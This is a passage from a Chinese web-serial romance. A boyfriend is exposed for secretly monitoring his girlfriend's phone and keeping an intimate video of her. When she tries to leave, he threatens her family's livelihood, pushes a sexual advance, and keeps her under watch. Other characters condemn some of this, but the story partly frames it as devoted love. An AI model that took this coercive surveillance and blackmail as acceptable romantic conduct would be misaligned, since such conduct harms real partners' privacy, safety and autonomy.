“真的假的?”孔佳良的注意力顷刻转移:“哦对,意大利那么暖和你确实不需要穿。”他又说:“可这在北京啊,你知道今天北京多冷吗?零下了都!” 宗昂淡声:“是吗,没感觉。” 一副“老子不惧”的拽样。 装得一手好逼。 “没感觉。”孔佳良阴阳怪气地鹦鹉学舌,吐槽道:“洋鬼子的基因了不起哈。” 服务生送来一小瓶消毒水及一包湿巾,宗昂将喷头对准手机全方位无死角的进行消毒杀菌,一旁的孔佳良白眼翻上天际,劈手夺过酒精喷雾,往自己裤子上也喷了几下。 “就你有洁癖,我也有!”孔佳良气不过地又对着宗昂喷两下。 “你找死是不是?”宗昂抬臂去挡。 孔佳良有分寸,没有直照着他脸喷,这下见他弯着胳膊半晌没动,赶紧扔了作案工具:“你别装啊,我可都控制着呢,躲着你的脸呢,你别想碰瓷。” “有病。”宗昂放下手臂,按了按右眼皮。 孔佳良关切问:“真喷到眼睛了?””没。“宗昂没好气地让他放了心,“眼皮突然跳了几下。” “眼皮跳?左眼右眼?”孔佳良辨了辨左右,“右眼啊,那你完了。” “什么意思?” “你又不懂了吧二洋鬼子,老话讲左眼跳财右眼跳灾。” 二洋鬼子还是孔佳良幼年期给宗昂起的绰号,宗昂有着二分之一的意大利血统,简称二洋鬼子。 宗昂那时可讨厌这个绰号,难听得要命,把孔佳良摁地上揍了一顿,孔佳良是个又欠又皮实的,挨揍也不管用,我行我素地喊着,喊得宗昂都懒得同他计较了。 宗昂嗤然:“迷信。” “诶你还真别不信,这些个迷信还是有点东西的。”孔佳良装神弄鬼地掐着指头算两下,胡说一通:“我看你印堂发黑不久就要大祸临头,而且有很大可能会出现感情问题,趁早想想有没有办惹你女朋友生气的事儿,小心回家跪搓衣板。” 宗昂甩他一字:“滚。” 咒他可以,咒他和温纾莱的爱情不行。 孔佳良:“好凶,好怕。” “活都干完了吗你们就聊天。”祁澍言拎着三瓶水扔给他们一人一瓶。 宗昂接了水没喝,放在桌上,手肘倚着桌面翻动手机。 他嘴上说着迷信,但孔佳良那句右眼跳灾还是悄然入进他心里,他第一反应是韩子彦又跳出来作妖,先点开那个监/听软件阅览。 韩子彦近一个多月都在忙着飞这飞那做着项目收尾,他不会再天天盯着温纾莱的手机活动,隔三差五看一眼,有异性的对话框增加也都是再聊正经事儿。 祁澍言就立他边上,不经意瞥过他手机屏,看到那个界面,问:“你在监/听谁?” 宗昂挑眉:“你怎么知道?” 祁澍言:“这软件我研究过。” “什么监/听?什么软件?”孔佳良凑着颗脑袋来看,在宗昂的屏幕上看到好些个眼熟的头像,“你跟温纾莱的感情已经好到能互相登陆微信的地步了?” 孔佳良大吃一惊,现在早已不是谈个恋爱还要关联情侣号互换密码的□□时代了,现在可是朋友圈只有自己独美/帅的全网单身时代。 就连即将要求婚的大A和他女朋友,约莫都做不到互登账号的地步。 实在是每个人都有太多不可告人的秘密了。 “温纾莱,那不是你女朋友。”祁澍言微愕:“你在监/视你女朋友?” “我操?”孔佳良又爆一声粗,看向宗昂的眼神古怪又复杂:“不是,哥们儿你,你这是、在、干、什、么、呢?”后面的几个字他跳着说完。 宗昂略过他们的聒噪,刷新着软件,又断网重开,页面显示温纾莱的最后聊天时间在昨天下午五点钟。 昨天下午五点到今天下午,已经过去二十四个小时,温纾莱绝不可能谁都没联系。 他切到微信,置顶有两条未读。 温纾莱在四个小时前发来两条消息—— 「你书房电脑密码是什么?我想用一下,剪视频。」 「好了不用啦,我猜对了!」 那是一种强烈的,斩钉截铁的直觉。 宗昂从未有过像此刻这样的心慌意乱。 他收起手机大步朝外,边说:“跟大A说一声,我有事先走了。” 由快走变成跑,拐角出来的向屿差点儿撞上他,堪堪避开,侧目送着脚下生风的宗昂下楼,向屿遛至吧台桌,状况外地发问:“他犯什么病了?” “不知道。”祁澍言一语双关:“但知道他是去找‘药’了。”- 大雪洋洋洒洒一整夜,柏油马路上的积雪在天还未亮的凌晨时分就被环卫工人清扫干净,只剩堆积在路边绿植四周的小小雪山丘,给冬季光秃秃的植被添上一抹亮色。 疾驰回到公寓,电梯慢吞吞地上行。 熬到顶楼,电梯门刚开一条缝宗昂就挤出去,指纹按两次才打开门。 宽敞昏沉的客厅,隐秘暧昧的声音,铺展开来的幕布上播放着一部触目惊心的片子。 沙发正中央突兀地耸起一道人影,她肩背直挺,坐姿端正,置身事外地欣赏着她和他参演的那部“电影”。 听到玄关的响动,温纾莱摸到遥控器暂停,起身,荧幕微光描绘出她的身形,她的面部晦暗不明。 语气淡漠到像个死人:“好看吗?”她指指呈现着两具一丝/不挂的身体的画面的幕布:“特意为你放的,我想你应该很喜欢。”【你现在阅读的是 】 50-60 第51章 第 51 章 “你讨厌我了是吗?” 这是一个宗昂在返程路上完全没有预测到, 在此之前也从未预设过的局面。 他以为温纾莱是发觉到他在她手机里安装的监/听软件,不成想迎接他的是他珍藏的视频。 但不论是哪一种情况,都于他不利。 一个多月前的争吵, 在温纾莱问他还有无隐瞒时, 他信誓旦旦地保证决计不会被她找寻到他剩余的秘密。 一个多月后, 投影在他公寓客厅的视频——是温纾莱给他自以为是的自信上得狠狠一课。 让他知道,这个世界上根本没有不透风的墙, 纸终究包不住火。 也再次让他知道, 她的脾气能有多烈。 “电脑屏幕太小,我特意传到投影上,怎么样, 是不是看着爽多了?” 温纾莱按停的画面展示着她陷入情/欲中迷乱的一张脸, 她以此为背景挺拔站立。 歪打正着在宗昂的电脑里再次搜寻到他藏匿的有关于她的密辛, 温纾莱愤怒过, 羞耻过。 但她很快就接受了。 宗昂是个有“前/科”的人, 他做出什么骇人听闻的事都不足为奇。 浏览记录里频繁的观看时间昭示着他对这段床/戏视频的喜爱, 既然他喜欢,那么温纾莱就让他看个够,看个痛快。 她重开视频,淫/靡的声响重新充斥整个客厅。 宗昂拿过遥控器关掉投影仪。事已成定局, 多说无益, 他与温纾莱面对面, 弯腰低颈, 道出最诚挚的歉意:“对不起。” “你的对不起很廉价。”温纾莱缓柔地送出冷硬的评价, 她好整以暇地看着他:“监控我的手机,当着我的面删掉视频消除我的防备心,结果还留有另一段。” “宗昂, 你真的。”她都不知道要说什么好:“你还能卑鄙到什么程度?” 宗昂往日最爱盯着温纾莱的眼,她那双会说话的眼睛总是蕴含着很多,而今,他不敢再同她对视:“对不起,我也没想这样的。” “是没想过我会发现吧。”温纾莱拆穿他,“在你眼里,我是什么很蠢的人吗?” 音落,她又自顾自承:“我是很蠢,明知道你是个怎样的人还一次又一次相信你,我也是活该被你耍。” “宝贝,你别——”宗昂去拉她。 “别碰我!”温纾莱忽然爆发,推翻她一秒钟前的柔和:“我嫌恶心!嫌你恶心!” 宗昂一怔,怯怯地缩回手,垂头丧气地问:“你讨厌我了是吗。” “‘狼来了’的故事听过吗,同一种招数用多了只会显得你无耻。”温纾莱为验证她话中的真实,嫌恶地瞥开眼:“收起你那幅虚伪的嘴脸,我不会再对你心软。” 宗昂想说他这次没有装,但可信度近乎为零,倒不如以温纾莱此时构想中的他来面对她,还能博得她一个高看。 他抿抿唇:“我没有耍你,我只是不知道该怎么做,我怕韩子彦又来跟你乱讲,至于视频,”他肩膀塌了塌:“视频是最开始拷贝了一份在电脑里,手机里那份是真的删掉了没骗你,我也只是自己偷偷看,没想过要用视频来怎么样。” “你还想怎么样?”温纾莱冷笑:“又来威胁我?” “我没动过这个念头。”宗昂坦诚道:“从来没有,当初那么说是想让你能待在我身边。” 他怎么会让那样诱人的温纾莱暴露在外,温纾莱的意乱情迷只属于他一个人,只有他一个人能看见。 “那我还要感到荣幸了,为了能和我在一起你不惜用这么龌龊的手段。”温纾莱讽刺的功力渐长,或许她自己还未觉察,但她的言谈举止已经隐约带有宗昂的影子。 她不甚在意地说:“无所谓了,你就是真的要发出去那段视频也无所谓了,视频里又不只有我一个人,你都不怕被人看光我怕什么。” 温纾莱豁然开朗了。 不就是被拍了段情/色视频,不就是赤身裸/体,这个世界上谁的身体不都是大同小异,她有的别人谁没有?她和宗昂做的那件事谁不会做? 有什么可怕的。 不论是哪种博弈,最终比得不过是谁更豁得出去,她目空一切,什么都不要了,宗昂就没招了。 那么她就就是赢家。 温纾莱是真受够宗昂神经质又病态的爱情观念了。 她是个有独立意识的人,不是他的专属玩物和禁/脔。 “上次吵架我问你还有没有其他事情瞒着我,你说没有了,我信了,可我这次又发现你在骗我。” 事发到现在,温纾莱有充足的时间冷静,她不轻易做决定,一旦她深思熟虑过后,就是九头牛都拉不回来的坚决。 “我说过,感情中最重要的就是信任,我对你没有信任了,所以这段感情我不要了,我们分手吧。” 上一次未能说完的“分手”拖延到今天终于脱口。 “我不是很喜欢这两个字,收回去。”宗昂的愧疚被温纾莱的分手冲淡,他命令道:“这次我就当没听到。” 温纾莱眸光一闪,她垂目,腕间手镯上镶嵌的钻石折射出斑斑星光,她福至心灵,抬起手臂:“这只镯子应该也不简单吧?” 她不再寄希望于宗昂:“让你解开是不可能了,我就不麻烦你了。” 她自己撸不下来,随便上门求助一家消防站,专业人员有的是办法。 她在宗昂公寓里的生活用品都是他所添置,她一样也无需带走,留到这会儿,无非就是要当面通知他。 她搁下这最后一句话就要离开。 宗昂伸臂一把圈住她的腰,箍紧:“不许分手。” “这都是你自找的,在你选择做这些我无法容忍的事情的时候,就该想到我们的结局。” “视频我全删,软件我也会卸,手镯我摘下来,你不喜欢的我以后都不会再做。”他逐一允诺,语气稍重,每一个字都咬得字正腔圆,似乎这样就能彰显他的诚意:“不分手,你再给我一次机会,最后一次。” 温纾莱对宗昂丧失了全部的信任,再难重拾,他的承诺在她听来更像是缓兵之计。 “宗昂,虚假的诺言很低级,别让我看不起你。”她学以致用:“也别做你自己都看不起的那种low货。” 她一根一根掰开宗昂倔强的手指。 宗昂不能太用力,那样会伤到温纾莱,可温纾莱无所忌惮,她又剋又抓,在他手指、手背挠出道道红痕,他眼睁睁看着她一点一点铲除着他与她皮肤相接的面积。 这场力气不对等的较量,因宗昂不舍伤害温纾莱而终结。 温纾莱甩开他,头也不回地朝大门走去。 她行至门口,“啪嗒”一声微响,阴晦的客厅猝然发亮。 宗昂开了灯,他在几步之遥外,视线停在她身上,神色无波:“视频无所谓,拴不住你,那你哥呢。”他再增加筹码:“你舅舅舅妈呢?” “温屿年是确定了能参演‘黑白’,可他不能以后就只拍这一部电影了吧,他又不是我爸工作室的艺人,拍完这部电影你觉得我爸还会护着他吗?还有你舅妈的面馆,我随时都能收回。” “你只会这一招吗?”温纾莱脚下生铅,她拖鞋都已经脱了一只。 温纾莱不爱穿袜子,进家门脱完鞋就会连着袜子一块儿蹬掉。 她这会儿赤着脚踩在地板上,地暖烘烤得脚掌发热,内心却满是冰凉。 在她接纳宗昂给出的资源的那一刻,就该料到有一天两人分崩离析,这些外物也会随之退去。 滑稽的是,她在宗昂为她搭建起的象牙塔中迷失了自我,丢失了警惕心。 她是很蠢,无可救药的蠢。 她怎么还有脸说宗昂,她不也是自找的吗。 宗昂步步逼近温纾莱,在她身前蹲下,握着她的脚腕,摩挲了下她的踝骨,给她穿好拖鞋,站直:“招数不在多,管用就行。” “啪”—— 清亮的巴掌声震至墙壁,荡起细细回音。 温纾莱打得手掌都发麻,她眼眶红润,咬紧牙关吐字:“宗昂,你混蛋!” 宗昂的脸也火辣辣的,牙齿磕破口腔里的软肉,他尝到了铁锈味,舌尖舔下嘴角,他只关心温纾莱:“你手疼不疼?” 温纾莱反感地背过胳膊。 宗昂这次没再如她的意,他执起她的手,揉着她泛红的掌心,浓密的睫毛下敛:“我是混蛋,你说的都对。” 卑鄙、无耻、龌龊。 从进门开始,温纾莱就在不断将这些难听又准确的词语砸向他。 “你既然清楚,就别再想着离开我,不然我也不知道我会做出些什么更让你生气的事情。” 第52章 第 52 章 玩火自焚 夜幕降临, 华灯初上。 脚下是街道上川流不息的车辆,略一抬眼就能眺望到故宫夜景,再远处是高楼耸立灯火通明的CBD大厦。 亮如白昼的客厅与各种璀璨灯光遥相呼应, 又凭生出孤寂。 宗昂守坐在沙发上, 边百无聊赖地刷着手机, 边时不时抬头瞅一眼房门紧闭的主卧。 距离温纾莱把她自己关在主卧已经过去快三个小时。 他什么都没做,是争执过后温纾莱生气, 不想见到他, 摔门回到主卧。 她需要单独的空间冷却怒火,他懂事的不去打扰。 茶几上摞放着她的两部手机,不是他抢来的, 是他拦着温纾莱不让她进屋, 她说:“你不就是怕我手机现在没有你那个破软件了你监控不到吗, 给你, 随便你干什么!” 就这样, 她把她的手机都扔向他。 一部砸在他胸口, 一部砸到他额角,幸好铺着地毯,否则手机摔到地上碎裂,温纾莱还得更气他。 宗昂倒不担心她会无聊, 他那边床头柜上有一台平板可供她玩。 嗡鸣响起, 温纾莱的那部主机接到来电, 机身震颤滑动。 来电备注是舅妈。 宗昂思索两秒钟, 接起, 恭敬有礼地喊声:“舅妈。”半点儿看不出几个小时前他不做人的迹象。 马燕珍的“莱”字发出一个短音,听到听筒里的男嗓又改口:“小宗啊,莱莱呢?” “她在补觉, 这段时间她不是一直都在忙学校的宣传片拍摄么,好些天没睡够了。”宗昂谎话张口就来,脸不红心不跳地胡诌,“舅妈您有事跟我说等莱莱醒了我转告她,或者我让她给您回电话。” “没事没事,我就是想问问你们要不要回家吃饭。”马燕珍说:“她睡觉呢就让她睡吧,改天你们有空再回来,提前告诉我,舅妈给你们做好吃的。” “好,谢谢舅妈。” 第一印象很重要,宗昂在和马燕珍温广宏的首次见面时就给他们树立起了良善的人设形象,又在日后的相处中一再巩固,赢得两位长辈的高度好感。 他的话马燕珍深信不疑,又讲了两句家常才挂断电话,那边孔佳良又给他打来。 “兄弟你那边怎么样了?”孔佳良试探问:“你们还过来吗?” 孔佳良料定宗昂和温纾莱之间出了问题,就宗昂干的那些事……他身为好哥们儿都觉得过分,温纾莱要没反应那她就是个圣人。 但该问他也要问,毕竟是大A一辈子一次的求婚,亲朋好友全都到场见证才好。 “不去了,你们玩好。”宗昂人不去,祝福不会差:“问问大A想要什么礼物,我送他。” 宗昂出手一向阔绰,这下大A是占到便宜了,孔佳良都有点羡慕了。 “行吧,你忙你的。”孔佳良思量个眨眼的空,调解道:“虽然我恋爱也谈得稀里糊涂的,但有一说一,宗昂你那监视人的法儿真不能用,走心了你就用心谈,别整乱七八糟的。” 宗昂心不在焉地听着,这马后炮放得够晚,不能用他也用了,还被抓包了,且已经造成不可挽回地后果了。 孔佳良还在适可而止地劝:“温纾莱那姑娘真心不错,你别害了人家,要不孔佳茉能闹死咱俩。” 孔佳茉那作天作地一哭二闹三上吊的本领一般人都难以招架,宗昂在出国前有幸领教过。 但这对他来说也可忽略不计,他能容忍孔佳茉一是因为她是个女生又是童年玩伴,二是得他心情好,要这时候孔佳茉闹他,他也不惯着。 门铃摁响,宗昂在去开门的途中切断通话:“挂了。” 开门,是楼层管家上来送外卖。 他道谢接过,拎着外卖到餐厅,餐盒一一取出掀盖摆好,再去敲主卧的门。 “出来吃饭。” 静等三秒,里面无人应答。 宗昂耐着性子敲第二遍门,得到一样的结果,他去书房拉开右手边的抽屉找出备用钥匙,堂而皇之地开锁进屋。 床中间拱起一处瘦小的鼓包,温纾莱被子盖过头顶,整个人都缩进绵软里,几缕黑发逃脱出来,横七竖八地铺陈在枕头上。 宗昂走到她那边,屈膝下蹲:“吃饭了,我订了你爱吃的那家粤菜。” 他对温纾莱吃饭这码事异常上心,她一埋入工作当中就会忘我,一个看不住就饥一顿饱一顿,她暑假跟组那会儿宗昂抓到的她这个毛病,前阵子大降温那天她不让他跟,一天都没顾上喝一口水,晚上回公寓吃不到两口就跑去卫生间吐了。 去医院一查,急性肠胃炎。 挂水挂到后半夜。 宗昂现在手机里设有三个时间段的闹钟,早中晚,只要温纾莱不睡懒觉就定时叫她吃饭。 他轻缓地拉开被子,温纾莱额头露出一指宽,一只细手就从被里伸出,抢过他攥住的那一角。 温纾莱第一次骂脏:“滚。” 宗昂百分之一百相信温纾莱非常气愤,可被子削弱她的攻击力,说话是瓮声瓮气的可爱。 宗昂不合时宜地一笑:“你出来吃饱了再骂我呢,现在这样我会以为你在跟我撒娇。” 他的存心曲解激怒温纾莱,她腾一下坐起来,长发凌乱,脸颊红晕一半气的一半憋的:“宗昂,你学不会尊重人是吗?” 嬉皮笑脸两句轻轻揭过,当做无事发生地亲近她。 “你当我是你养的宠物吗,给顿饭吃就能万事大吉了?” 宗昂翘起的唇角拉平,“我就是想叫你吃饭,你胃不好,不能饿。” “不吃。”温纾莱指向门口:“滚出去!” 宗昂看她两眼,一手搂她背一手穿过她腿弯,打横抱起她。 卧室到餐厅,短短几步路,温纾莱又赏了宗昂一巴掌,是挣扎间的误伤,不如之前的重,但也是结结实实地打了。 宗昂默算一遍,陈述道:“这是你第四次扇我了。” 温纾莱讲话很冲:“你活该!” 宗昂单脚勾出一把椅子,将温纾莱放到上面坐好:“我还挺喜欢听你骂我的。”紧接着挨着温纾莱落座。 人不要脸天下无敌——跟宗昂太适配。 温纾莱像是一拳打到棉花上,她起来要走。 “你舅妈刚打了电话。”宗昂没看她,用筷子慢条斯理地剃着白切鸡的皮。 温纾莱不爱吃一切皮类食物。 温纾莱又被他一句话给定住:“你说了什么?” 宗昂朝她的椅子斜了斜额:“坐下。” 温纾莱忍耐着坐回去。 宗昂将弄好的鸡肉送到她嘴边:“张嘴。” 想想他干的那些令人发指的事儿,再看看他不知悔改的模样,温纾莱吃下他喂的东西多半会消化不良。 后仰头,拿起一双全新的筷子,另夹一块红米肠。 那块鸡肉宗昂自个儿吃了。 囫囵吞枣地咽下,温纾莱问:“你跟我舅妈说什么了?” “没说什么,舅妈叫我们回去吃饭,我说你在睡觉,她就说那下次。”宗昂言而有信,通话内容和盘托出。 听到想听的,温纾莱撂筷。 “好好吃饭。”宗昂扣住她的手,侧过脸,灰蓝色的眼睛沉静如冰:“我不想总说那些会惹你不开心的话,所以你乖乖吃饭,这样大家都好。” 温纾莱面朝前方:“你在我吃不下去。” 宗昂不做犹豫地撤开,去了书房。 开放式的餐厅连接着客厅,偌大而空旷,静到落针可闻。 温纾莱深叹一气,执筷夹菜,机械性进食。 …… …… 吃完饭温纾莱就又回了主卧,这次她没锁门,宗昂那儿有钥匙,她做再多也就是矫情的无用功。 她又困了。 遇事睡觉是温敏慧教给她的办法,那时林斌才去世不久,小小的她还不懂什么是死亡,只知道爸爸不见了,每当她哭着找爸爸的时候温敏慧就会哄她睡觉,说等她睡醒爸爸就会回来。 等她睡醒,一切都会好起来。 现在她长大到什么都明白,明白睡觉只是逃避,醒后还是会烦心,可妈妈留给她的习惯已经根深蒂固。 又缩回被子里,边角都压实,空气和光都隔绝在外,她享受着会让她感到放松的黑暗与窒闷。 …… 书房电脑上开着客厅的监控摄像,宗昂看着温纾莱老老实实吃完一整碗饭,心情好转不少。 等她回卧室,他出去,吃完她吃剩的饭菜。 收拾完厨余垃圾,他接到一通越洋电话,返回书房替他妈处理了一桩小事。 不确定温纾莱睡没睡,他在客浴洗完澡才回主卧。 在门口关了灯,温纾莱那边的床头灯还开着,他站定顷刻,朝着室内唯一光源走去。 温纾莱半梦半醒间落入一个熟悉的怀抱,她神智不清间要往那个怀抱里陷之际又猛然清醒过来,生生遏制住她的本能。 她不想再面对宗昂,太耗费心神,于是便一动不动装睡。 宗昂的手臂圈起她的腰,腿弯成能同她的腿贴合的弧度,试探性的一点点圈紧她。 他在她耳边絮语:“我知道你没睡,你只是不想理我对不对。” 他话里含着不作假的委屈和难过。 温纾莱心里发笑。 做错事的人是他,他摆出这副含冤受屈的受害者样子给谁看? “视频我全都删了,一个不留,不信的话你可以格式化电脑,你手机里我也不会再装乱七八糟的软件,你怎么样打我骂我都行。”他示弱地蹭她后颈:“别不理我,也别不要我。” 温纾莱默声不语。 宗昂绞尽脑汁找话题引她说话,可惜他在焦急下开了个烂头:“你是怎么发现视频和手机里的秘密的?” “都是偶然,你安装的软件导致我手机中了病毒,我才会送去维修。”温纾莱施舍给他两句话:“玩火自焚,你可不可笑?” 第53章 第 53 章 “宗昂,别让我恨你”…… 温纾莱这句讥讽拉满的诘问落定, 卧室里重归寂静。 温纾莱宽和待人,即便是与人意见不同发生争执也只会就事论事,从不出口伤人, 但她现在一面对宗昂就会自动开启攻击模式。 那是打心底里产出的一种抵触。 温纾莱觉得她自己更可笑, 就在昨晚, 就在这张床上,她因为不愿再看到宗昂落寞的神情, 不计前嫌决定要改变自己, 努力向宗昂靠拢,学会在表达学会在感情中外放,要予以宗昂同等的安全感。 就如当年她不想让舅妈失望, 收敛性格, 做一个长辈眼中乖巧听话的好孩子, 这次她也不想让她喜欢的人失望。 可在她下定这份决心后, 得到是来自她喜欢的人狠重插在她心口上的一刀。 不到一天, 心境翻天覆地。 “你能不能放开我, 我很热。”温纾莱心累到没有精神,她只想睡觉,可横亘在她腰间的禁锢让她难以入眠。 宗昂不仅不放,还收紧了揽着她的一只胳膊。另只手朝后摸索。 窸窸窣窣的一番动静后, 只听“滴”的一声, 室内空调打开。 冷风。 温纾莱都无语了。 宗昂弄完, 重新贴回来:“我都会改的, 这次是真的, 你再给我一次机会。” 他不再讲天花乱坠的漂亮话,翻来覆去就这么一句朴实又无力的恳求。 温纾莱恍惚记起之前余泽帆把她拦在宿舍楼下,也说过类似的话。 说会改, 求她原谅他,再给他一次机会。 原来男人都是一个样,只是皮囊有所差异,本性都不相上下。 她轻笑一声。 宗昂不懂:“你笑什么?” “我舍友之前说过一句话,她说男人的誓言和狗叫没什么两样。”温纾莱直视着窗外的苍茫夜色,语调平缓听不出喜怒:“你知道吗,余泽帆那个时候也跟我讲过一模一样的话。” 宗昂一扫整晚的伏低做小,他覆到她身上,卡着她的下巴掰正她的脸:“你拿我跟他比?” 在这个剑拔弩张的夜晚,谁都不记得拉窗帘这件小事,皎洁月光朦胧洒进,宗昂深刻的五官半明半暗,侵略感迸发。 温纾莱不惧他,她人都被他变相软/禁,还不能说两句实话过过嘴瘾吗? “那你还比不上他,他是跪下求我的。” 说完温纾莱自己都是一怔,她是第一次知道她还能这么伶牙俐齿。 宗昂总是能激发出她更多的可能性。 蓦地,温纾莱唇上一痛,一片灰蓝色近在咫尺,宗昂的睫毛很长,刺得她眼睛不禁闭起,眼尾溢出生理性泪水。他亲得很重,更偏向发泄,高挺的鼻尖顶蹭着她,两人的潮/热喘息逼仄缠绕。 睡衣下摆被他掀至胸口,他的吻一路向下。 温纾莱不抗拒也不回应,宗昂就是一条狗,她越是激动他就越发疯。在他手勾到她睡裤边缘上时,她说:“宗昂,你别让我恨你。” 一盆冷水兜头浇下,通身的火气都灭得干干净净。 宗昂离家出走的理智立即回笼,他半阖眼喘了口气,理好她的衣服,用被子裹住她,他人在被子外抱她:“对不起宝宝,我没想的,我就是气昏头了。” 她怎么能把他和余泽帆放在一起做比较呢。 余泽帆那个一无是处的low货也配跟他平起平坐? 更让他难受的是,在她心里,他和余泽帆是一类吗? 温纾莱是真的很困很困了,她不知道现在具体是几点几分,但她现在头昏脑涨,身体机能都变得锈钝。 她打个哈欠闭上眼,嗓音淡淡:“宗昂,任何东西给多了都会变得廉价,你的承诺是,我给的机会也是,你浪费过一次了,而我不想成为一个廉价的人。” 在他毫不迟疑否认他再无隐瞒,将她奉献出去的,重视的“信任”践踏在脚下的那一刻,其实他们就已经玩完了。 只不过是延迟到今天才爆发而已。 她落锤定音地宣判道:“所以,你没机会了。” 宗昂宗昂僵顿一下,慢慢松开了钳制她的手。 温纾莱卷着被子往床的另一边滚去,离他远远的。 房间里气氛静到窒息,宗昂穿着单裤赤/裸着上半身侧躺在床上,凝着温纾莱的背影。皮肤上冒出一层细小的疙瘩,他感到凉意,想起自己刚才开空调制冷的傻逼举动,又摸过空调遥控器关上。 温纾莱呼吸声均匀,已经陷入梦乡当中。 宗昂小心翼翼地靠过去,腰背弓起,双腿蜷缩,这是一个极具缺乏安全感的姿势。 他的额头隔着被子轻轻抵住温纾莱的后背,拉住一点被角。 一夜无话,同床异梦。 温纾莱这一晚睡得很沉,但并不好,光怪陆离的梦境接踵而至,醒后一个都想不起来,唯剩满身疲惫。 身侧无人,不知道宗昂什么时候离开的,还是昨晚他就没睡在这里。 下意识去摸枕边,记起她的手机在昨天被她交给宗昂来换取清净,手却触到一个长方形的物件。 宗昂还能舍得把手机还给她? 上午十点钟,昨晚到现在她快有二十个小时没看手机,逐条回复完未读消息,她下床洗漱。 拍摄才完工一天,马主任就催着要成片了。 感情失败得一塌糊涂,但她还有许多重要的事情要做,人不能颓废。 出卧室,宗昂就像昨天、像之前每一个她醒来的时刻那样在客厅等她。 “醒了?”他自我调节的能力无可比拟,没事人一样:“早饭我做了煎蛋和松饼。” “我要用你的电脑。”在正事上,温纾莱不带有个人感情色彩。 “你用。”宗昂咳嗽一声,朝她走:“先吃饭。”又握拳抵唇咳嗽第二记。 废话多说无益,温纾莱坐到餐桌边,吃起早午饭。 宗昂问:“有点凉了,要不要加热一下?” 温纾莱没理她,闷声吃着。 宗昂收回伸在半空中的手,眸光暗沉。 她没有留意到他在咳嗽。 三口两口吃完,温纾莱就去书房剪视频了,整个下午非必要不出,宗昂也没有进来过。 他们二人就这么在同一个屋檐下互不干扰。 像那种合租室友。 到傍晚饭点,宗昂来敲书房门。 他就是个投喂机器,到点放饭。 相顾无言地又吃完一顿饭,温纾莱抽纸巾擦擦嘴,平淡发问:“明天周一,我有课,你还要关我多久?” 宗昂澄清说:“我没有关你。”他也不吃了,没胃口,端起水杯抿了口水润着发干的喉咙。 还要怎样才算关? 五花大绑地把她捆起来? “昨天我要走,你用我家人威胁我。”温纾莱眉眼沉静,颊边散落的头发别到耳后,“你只是做得不明显罢了。” 宗昂喉结滑动,压下喉间上涌的痒意,嗓子低哑着:“只要不分手,你就是自由的。” “被你各种监控的那种自由吗?” 宗昂不想再没营养地重复他会改、他删掉了软件视频的那些话,温纾莱不信,他自个儿也嫌烦:“明天我会送你去学校,不会拘着你不让你上课的。” 尾音收得急,强压之后是剧烈的反噬,他咳个不停。 温纾莱一早就留心到他锈红的眼眶,猜他多半是发烧了,但他那么大个人生病自己会吃完,不治非要硬扛那就是想赌她心软,她不会上当。 “你愿意自欺欺人就随你,但这样真的很没意思。” 温纾莱站直,腿弯抵着椅子后撤,在地板上划出刺耳的声响。 她的脚步声远去,消融在书房。 宗昂没在装,可就是这么巧,他的咳嗽适时止住了。 …… …… 这一晚直到温纾莱睡着前,宗昂都一直待在客厅。 周末两天懒觉睡得她生物钟混乱,手机返厂维修后很多设置都清零,她忘记重设闹钟,第二天是被宗昂叫醒的。 冬季的棉被格外好睡,温纾莱听到有人在喊她,迷迷糊糊睁开一条缝,鼻腔里哼出一声。 这两天被她的尖刺扎伤数次,乍一再见到她的乖软,宗昂心潮起伏,膝盖下抵,呈一个半跪的姿势,鼻尖蹭蹭她。 就差半指宽,二人的嘴唇就能碰到,温纾莱醒了神,一把推开他。 她后捋了下睡乱的长发,从另一边起床。 宗昂目送她进浴室,万分后悔他没有在温纾莱还睡着时偷亲一口。 看回她枕过的枕头,他将脸埋入,深深一嗅- 宗昂时间掐得准,温纾莱能在公寓稳坐着不紧不慢吃完一顿丰盛的早饭再去学校。 周一,路上有些小堵。 在可控范围内。 准时准点到达学校,温纾莱解开安全带,回身想去捞后车座的书包,驾驶位的人先她一步。 宗昂拎着她的书包下车。 温纾莱匆匆推开车门跟上:“我自己拿。” 宗昂不给,反递出他的手:“你拿这个就好。” 温纾莱抬腿就走。 迈出第二步,自然下垂的左手被攥住,宗昂强势地插进她的指缝。 两人掌根相抵,十指相扣。 宗昂抓着她的手揣进自己羽绒服的口袋里。 温纾莱相当纳闷,宗昂是怎么做到能如此专注自身想法罔顾他人意愿还不觉得抱歉的? 这么强大的心理真挺值得研究的。 到上课的教室门口,温纾莱扭动手腕:“书包给我,你走吧。” 宗昂摇摇头,牵着她进去。 上午这门课是两个班合并上,他们算是卡点到,阶梯教室里学生差不多来齐,他们一进门,就收获大部分人的目光。 没别的,郎才女貌的一对,大家起了观赏心很正常。 宗昂泰然自若地迎着众人的注目礼,视线扫过一圈,仗着个高不费力的就找到孔佳茉她们坐的位置。 “走吧,我陪你上课。” 第54章 第 54 章 “只要你还在我身边就好…… 宗昂牵手牵得很有技巧, 既不会弄痛温纾莱又叫她甩不掉,像是一块狗皮膏药。 迈上台阶,孔佳茉她们已经齐刷刷往里面平移进两个座位, 宗昂让温纾莱坐里面。 他俩恋爱这么久, 还是头一次见宗昂陪温纾莱上课, 不能说天方夜谭,但凡事都讲个新鲜, 孔佳茉她们仨坐姿特别一致, 歪头侧坐,面带迷之微笑地瞧着这对小情侣。 宗昂摘下单肩背着的书包,专业书、手机都整齐码放在温纾莱面前, 平板贴心地支好, 服务那叫一个周到。 上课铃打响, 专业老师夹着笔记本, 手捧保温杯地站上讲台, 孔佳茉到嘴边的调侃吞回肚子里, 只啧啧两句。 许是怕温纾莱赶他走,宗昂这一上午都很安分地趴桌睡觉,要么就默默刷着手机。一再降低自己的存在感。 第二节课下课,课间时间延长五分钟, 宗昂一言不发地出去。 再回来, 手里提着四杯热饮, 回到座位分发给孔佳茉她们。 不是统一的标准配比, 是按照她们每个人的口味点的单——半糖、少茶多奶、单加一份黑糖啵啵。 何皎皎和孙星彤离宗昂较远, 不好贫嘴,孔佳茉就代表发言,找到她那份热饮, 她又是啧啧两声:“宗昂,你真挺可以的。” 孔佳茉门儿清,宗昂当然不会去记她们这些“娘家人”的喜好,只是他外卖软件里有购买记录,但他愿意多动动手指去调整再加购就很够意思了。 而他愿意的基础是他足够喜欢温纾莱。 才会连带对她的朋友们好。 想想之前那个一追到温纾莱就高枕无忧的-余泽帆,再看看眼前这个始终如一的宗昂。 这差距。 孔佳茉说:“到现在还有这份讨好我们的心,我们必保你和莱莱白头到老。” 